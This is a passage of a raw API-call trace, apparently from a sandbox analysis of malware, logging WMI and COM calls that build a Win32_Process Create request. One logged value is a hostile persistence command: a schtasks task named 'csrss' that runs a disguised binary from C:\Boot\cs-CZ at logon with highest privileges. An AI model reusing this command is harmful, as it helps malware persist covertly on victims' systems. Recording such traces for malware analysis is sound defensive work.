puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0068.051] WbemDefPath:IWbemPath:GetText (in: This=0x119c1a0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0068.051] WbemDefPath:IWbemPath:GetText (in: This=0x119c1a0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0068.051] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0068.051] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0068.051] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0068.051] IUnknown:Release (This=0x111f638) returned 0x1 [0068.053] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf2b320) returned 0x0 [0068.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2b320, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0068.054] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2b320, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x119c020) returned 0x0 [0068.054] WbemDefPath:IUnknown:Release (This=0x1bf2b320) returned 0x0 [0068.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x119c020) returned 0x0 [0068.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0068.054] WbemDefPath:IUnknown:AddRef (This=0x119c020) returned 0x3 [0068.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0068.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0068.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf2b300) returned 0x0 [0068.056] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2b300, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.056] WbemDefPath:IUnknown:Release (This=0x1bf2b300) returned 0x3 [0068.056] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0068.056] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0068.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0068.056] WbemDefPath:IUnknown:Release (This=0x119c020) returned 0x2 [0068.057] WbemDefPath:IUnknown:Release (This=0x119c020) returned 0x1 [0068.057] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0068.057] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0068.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x119c020) returned 0x0 [0068.057] WbemDefPath:IUnknown:AddRef (This=0x119c020) returned 0x3 [0068.057] WbemDefPath:IUnknown:Release (This=0x119c020) returned 0x2 [0068.057] WbemDefPath:IWbemPath:SetText (This=0x119c020, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0068.057] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0068.057] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0068.057] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.057] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0068.057] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0068.057] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0068.057] IUnknown:Release (This=0x111f638) returned 0x1 [0068.060] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf2b5a0) returned 0x0 [0068.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2b5a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0068.060] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2b5a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119bf60) returned 0x0 [0068.060] WbemDefPath:IUnknown:Release (This=0x1bf2b5a0) returned 0x0 [0068.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119bf60) returned 0x0 [0068.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0068.060] WbemDefPath:IUnknown:AddRef (This=0x119bf60) returned 0x3 [0068.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0068.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0068.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf2b520) returned 0x0 [0068.061] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2b520, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.061] WbemDefPath:IUnknown:Release (This=0x1bf2b520) returned 0x3 [0068.061] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0068.061] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0068.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0068.061] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x2 [0068.061] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x1 [0068.061] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0068.061] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0068.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119bf60) returned 0x0 [0068.061] WbemDefPath:IUnknown:AddRef (This=0x119bf60) returned 0x3 [0068.061] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x2 [0068.061] WbemDefPath:IWbemPath:SetText (This=0x119bf60, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0068.061] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c020, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bf60, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0068.062] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119c020) returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bf60, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bf60, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bf60, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0068.062] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119c020, uIndex=0x0, pszName="root") returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bf60, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bf60, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0068.062] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119c020, uIndex=0x1, pszName="cimv2") returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetServer (in: This=0x119bf60, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetServer (in: This=0x119bf60, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetServer (in: This=0x119c020, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetServer (in: This=0x119c020, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetInfo (in: This=0x119c020, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0068.062] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0068.063] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0068.063] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.063] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0068.063] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0068.063] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.063] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c020, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0068.063] WbemDefPath:IWbemPath:GetText (in: This=0x119c020, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0068.063] WbemDefPath:IWbemPath:GetText (in: This=0x119c020, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0068.063] WbemDefPath:IWbemPath:GetText (in: This=0x119c020, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0068.063] WbemDefPath:IWbemPath:GetText (in: This=0x119c020, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0068.063] IWbemServices:GetObject (in: This=0x1bea7f80, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bf472e0, ppCallResult=0x0) returned 0x0 [0068.068] IWbemClassObject:GetMethod (in: This=0x1bf472e0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bef3290, ppOutSignature=0x1b2fd9e0*=0x1bef3600) returned 0x0 [0068.069] IWbemClassObject:SpawnInstance (in: This=0x1bef3290, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf19ce0) returned 0x0 [0068.070] IWbemClassObject:Get (in: This=0x1bf19ce0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2950550*=0, plFlavor=0x2950554*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2950550*=8, plFlavor=0x2950554*=32) returned 0x0 [0068.070] IWbemClassObject:Get (in: This=0x1bf19ce0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2950550*=8, plFlavor=0x2950554*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2950550*=8, plFlavor=0x2950554*=32) returned 0x0 [0068.070] IWbemClassObject:Put (This=0x1bf19ce0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"csrss\" /sc ONLOGON /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0068.070] IWbemClassObject:Get (in: This=0x1bf19ce0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29505e0*=0, plFlavor=0x29505e4*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29505e0*=13, plFlavor=0x29505e4*=32) returned 0x0 [0068.070] IWbemClassObject:Get (in: This=0x1bf19ce0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29505e0*=13, plFlavor=0x29505e4*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29505e0*=13, plFlavor=0x29505e4*=32) returned 0x0 [0068.070] IUnknown:QueryInterface (in: This=0x1bf46c00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bf46c00) returned 0x0 [0068.071] IUnknown:QueryInterface (in: This=0x1bf46c00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0068.071] IUnknown:QueryInterface (in: This=0x1bf46c00, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0068.071] IUnknown:AddRef (This=0x1bf46c00) returned 0x3 [0068.071] IUnknown:QueryInterface (in: This=0x1bf46c00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0068.071] IUnknown:QueryInterface (in: This=0x1bf46c00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0068.071] IUnknown:QueryInterface (in: This=0x1bf46c00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bf46c08) returned 0x0 [0068.071] IMarshal:GetUnmarshalClass (in: This=0x1bf46c08, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0068.071] IUnknown:Release (This=0x1bf46c08) returned 0x3 [0068.071] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0068.071] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0068.071] IUnknown:QueryInterface (in: This=0x1bf46c00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0068.072] IUnknown:Release (This=0x1bf46c00) returned 0x2 [0068.072] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0068.072] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0068.072] IUnknown:QueryInterface (in: This=0x1bf46c00, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0068.072] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0068.072] IUnknown:QueryInterface (in: This=0x1bf46c00, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0068.072] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0068.072] IUnknown:AddRef (This=0x1bf46c00) returned 0x3 [0068.072] IWbemClassObject:Put (This=0x1bf19ce0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf46c00, varVal2=0x0), Type=0) returned 0x0 [0068.072] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c3e0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0068.072] WbemDefPath:IWbemPath:GetText (in: This=0x119c3e0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: 